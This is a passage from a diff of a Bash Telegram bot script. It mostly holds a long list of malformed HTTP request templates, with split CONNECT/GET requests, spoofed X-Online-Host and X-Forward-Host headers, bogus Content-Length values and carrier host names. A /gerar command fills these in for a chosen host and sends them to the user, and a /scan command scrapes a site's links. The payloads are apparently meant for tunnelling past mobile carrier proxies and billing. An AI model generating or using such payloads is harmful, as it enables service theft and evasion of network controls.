mhost/[crlf]Host: mhost/[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]X-Forwarded-For: mhost[protocol][crlf][crlf]
+ [raw][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]X-Forward-Host: mhost/[crlf]Connection: Keep-Alive[crlf]Connection: Close[crlf]User-Agent: [ua][crlf][crlf]
+ [raw][split]GET mhost/ HTTP/1.1[crlf] [crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]GET mhost/[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+ [raw]split]GET mhost/ HTTP/1.1[crlf][crlf]
+ GET [host_port] [protocol][instant_split]GET http://mhost/ HTTP/1.1[crlf]
+ GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]
+ CONNECT [host_port] [protocol] [instant_split]GET http://mhost/ HTTP/1.1[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]User-Agent: [ua][crlf][crlf]
+ GET http://mhost/ HTTP/2.0[auth][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]CONNECT [host_port] [protocol] [auth][crlf][crlf][delay_split][raw][crlf]JAZZ http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][delay_split]CONNECT [host_port] [protocol] [method][crlf] [crlf][crlf]
+ CONNECT [host_port] [protocol][crlf]GET http://mhost/ HTTP/1.1 \rHost: mhost \r[crlf]X-Online-Host: mhost \r[crlf]X-Forward-Host: mhost \rUser-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-gb) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/2.9174AP[crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][crlf][raw][crlf][crlf]
+ GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]UseDNS: Yes[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]UseDNS: Yes[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf] Access-Control-Allow-Credentials: true, true[crlf] Access-Control-Allow-Headers: X-Requested-With,Content-Type, X-Requested-With,Content-Type[crlf]  Access-Control-Allow-Methods: GET,PUT,OPTIONS,POST,DELETE, GET,PUT,OPTIONS,POST,DELETE[crlf]  Age: 8, 8[crlf] Cache-Control: max-age=86400[crlf] public[crlf] Connection: keep-alive[crlf] Content-Type: text/html; charset=UTF-8[crlf]Content-Length: 9999999999999[crlf]Vary: Accept-Encoding[crlf][raw][crlf] [crlf][crlf]
+ [netData][split][raw][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost/[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: update[crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]host: http://mhost/[crlf]Connection: close update[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] [crlf]
+ [raw][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf][crlf]User-Agent: [ua][crlf]Connection: Close[crlf]Proxy-connection: Close[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf]Connection: Keep-Alive[crlf][raw][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Connection: close[crlf][crlf]User-Agent: [ua][crlf][crlf]Referer: mhost[crlf]Cookie: mhost[crlf]Proxy-Connection: Keep-Alive [crlf][crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Upgrade-Insecure-Requests: 1[crlf]User-Agent: Mozilla/5.0 (Linux; Android 5.1; LG-X220 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.83 Mobile Safari/537.36[crlf]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8[crlf]Referer: http://mhost[crlf]Accept-Encoding: gzip, deflate, sdch[crlf]Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.6,en;q=0.4[crlf]Cookie: _ga=GA1.2.2045323091.1494102805; _gid=GA1.2.1482137697.1494102805; tfp=80bcf53934df3482b37b54c954bd53ab; tpctmp=1494102806975; pnahc=0; _parsely_visitor={%22id%22:%22719d5f49-e168-4c56-b7c7-afdce6daef18%22%2C%22session_count%22:1%2C%22last_session_ts%22:1494102810109}; sc_is_visitor_unique=rx10046506.1494105143.4F070B22E5E94FC564C94CB6DE2D8F78.1.1.1.1.1.1.1.1.1[crlf][crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive[crlf][netData][crlf] [crlf][crlf]
+ GET [host_port] [protocol][crlf][split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][raw][crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: [ua][crlf]Connection: close [crlf]Referer:http://mhost[crlf]Content-Type: text/html; charset=iso-8859-1[crlf]Content-Length:0[crlf]Accept: text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5[crlf][raw][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: null[crlf]Connection: close[crlf]Proxy-Connection: x-online-host[crlf][crlf] CONNECT [host_port] [protocol] [netData][crlf]Content-Length: 130 [crlf][crlf]
+ [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+ [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+ [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control: no-cache[crlf][raw][crlf] [crlf]
+ [raw][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf]Connection: close[crlf][crlf][raw][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]CONNECT [host_port][method]HTTP/1.1[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost[crlf][crlf]DELETE http://mhost/ HTTP/1.1[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][method] [host_port]@mip [crlf][crlf]http://mhost/ HTTP/1.1[crlf]mip[crlf][crlf] [crlf][crlf]http://mhost/ HTTP/1.1[crlf]Host@mip[crlf][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf]Host mhost/[crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf] http://mhost/ HTTP/1.1[cr][crlf] [crlf][crlf][netData][cr][crlf] [crlf][crlf]CONNECT mip:22@http://mhost/ HTTP/1.1[crlf] [crlf][crlf][netData][crlf] [crlf][crlf]
+ CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+ CONNECT [host_port]@mhost/ HTTP/1.0[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: close[crlf]User-Agent: [ua][crlf]Proxy-connection: Keep-Alive[crlf]Proxy-Authorization: Basic[crlf]Cache-Control : no-cache[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13[crlf]Accept-Language: en-us,en;q=0.5[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Keep-Alive: 115[crlf]Connection: keep-alive[crlf]Referer: mhost[crlf]Cookie: mhost/ Proxy-Connection: Keep-Alive [crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Accept-Encoding: gzip,deflate[crlf]Accept-Charset: ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[cr][crlf]Host: mhost/ \nUser-Agent: Yes \nConnection: close \nProxy-Connection: Keep-Alive \n \r \n \r \n[netData] \r \n  \r \n \r \n
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf]
+ [raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf]
+ [raw] HTTP/1.0 \r \n \r \nGET http://mhost/ HTTP/1.1 \r \nHost: mhost \r \nConnection: Keep-Alive \r \nCONNECT mhost \r \n \r \n
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf]
+ GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf]
+ CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+ [raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1 \r \nHost: mhost \r \n \r \n[netData] \r \n \r \n \r \n
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+ GET http://mhost/ HTTP/1.1 \r \nX-Online-Host:mhost \r \n \r \nCONNECT mip:443[crlf]HTTP/1.0 \r \n  \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \ \r \n
+ GET http://mhost/ HTTP/1.1 \r \nGET: mhost \n \r \nCONNECT mip:443[crlf]HTTP/1.0 \r \n  \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \r \n \r \n \ \ \r \n
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+ GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]mhost \r \nHost:mhost \r \n \r \n[netData] \r \n  \r \n \r \n
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/  [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf]
+ GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr]
+ [realData][crlf][split]GET http://mhost/  HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf]
+ CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf]
+ [raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf]
+ [raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf]
+ GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf]
+ [raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf]
+ [raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf]
+ CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf]
+ GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf]
+ CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf]
+ [raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' >$HOME/$1
+	}
+	fail_fun() {
+		local bot_retorno="$LINE \n"
+		bot_retorno+=" -->>> MODO DE USO \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="/gerar $(fun_trans "Host") $(fun_trans "Solicitud") $(fun_trans "Conexion") \n"
+		bot_retorno+="$(fun_trans "Ejemplo"): \n"
+		bot_retorno+="/gerar www.host.com (1 a 9) (1 a 3) \n"
+		bot_retorno+="/gerar www.host.com 2 1 \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="$(fun_trans "Metodos Solicitud") \n${LINE} \n1-GET, 2-CONNECT, 3-PUT, 4-OPTIONS, 5-DELETE, 6-HEAD, 7-TRACE, 8-PROPATCH, 9-PATCH \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="$(fun_trans "Metodos Conexion") \n${LINE} \n1-REALDATA, 2-NETDATA, 3-RAW \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		unset bot_retorno
+		return 0
+	}
+	valor1="$1"        #Entrada Host
+	valor2="127.0.0.1" #Entrada IP
+	valor3="$2"        #Metodo Requisicao
+	valor4="$3"        #Metodo Conexao
+	[[ "$1" = "" ]] && fail_fun && return 0
+	[[ "$2" = "" ]] && fail_fun && return 0
+	[[ "$3" = "" ]] && fail_fun && return 0
+	case $valor3 in
+	1) req="GET" ;;
+	2) req="CONNECT" ;;
+	3) req="PUT" ;;
+	4) req="OPTIONS" ;;
+	5) req="DELETE" ;;
+	6) req="HEAD" ;;
+	7) req="PATCH" ;;
+	8) req="POST" ;;
+	*) req="GET" ;;
+	esac
+	case $valor4 in
+	1) in="realData" ;;
+	2) in="netData" ;;
+	3) in="raw" ;;
+	*) in="netData" ;;
+	esac
+	gerar_pays Payloads.txt
+	sed -i "s;realData;abc;g" $HOME/Payloads.txt
+	sed -i "s;netData;abc;g" $HOME/Payloads.txt
+	sed -i "s;raw;abc;g" $HOME/Payloads.txt
+	sed -i "s;abc;$in;g" $HOME/Payloads.txt
+	sed -i "s;GET;$req;g" $HOME/Payloads.txt
+	sed -i "s;get;$req;g" $HOME/Payloads.txt
+	sed -i "s;mhost;$valor1;g" $HOME/Payloads.txt
+	sed -i "s;mip;$valor2;g" $HOME/Payloads.txt
+	if [[ -e $HOME/Payloads.txt ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "PAYLOADS GERADAS CON EXITO") \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		local bot_retorno2
+		ShellBot.sendDocument --chat_id ${message_chat_id[$id]} \
+		--document @$HOME/Payloads.txt
+		return 0
+	else
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "PAYLOADS NO GERADAS") \n"
+		bot_retorno+="$(fun_trans "Algun  Error") \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	fi
+}
+scan_fun() {
+	error_fun() {
+		local bot_retorno="$LINE \n"
+		bot_retorno+=" -->>> MODO DE USO \n"
+		bot_retorno+="$LINE \n"
+		bot_retorno+="Ejemplo: /scan www.host.com \n"
+		bot_retorno+="$LINE \n"
+		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
+		--text "$(echo -e $bot_retorno)" \
+		--parse_mode markdown
+		return 0
+	}
+	[[ -z $1 ]] && error_fun && return 0
+	local HOST=$1
+	local RETURN=$(curl -sSL "$HOST" | grep -Eoi '<a [^>]+>' | grep -Eo 'href="[^ \"]+"' | grep -Eo '(http|https)://[a-zA-Z0-9./*]+' | sort -u | uniq)
+	if [[ -z $RETURN ]]; then
+		local bot_retorno="$LINE \n"
+		bot_retorno+="$(fun_trans "Ningun Host Encontrado en Dominio"): ${1} \n"
+		bot_retorno+="$LINE \n"
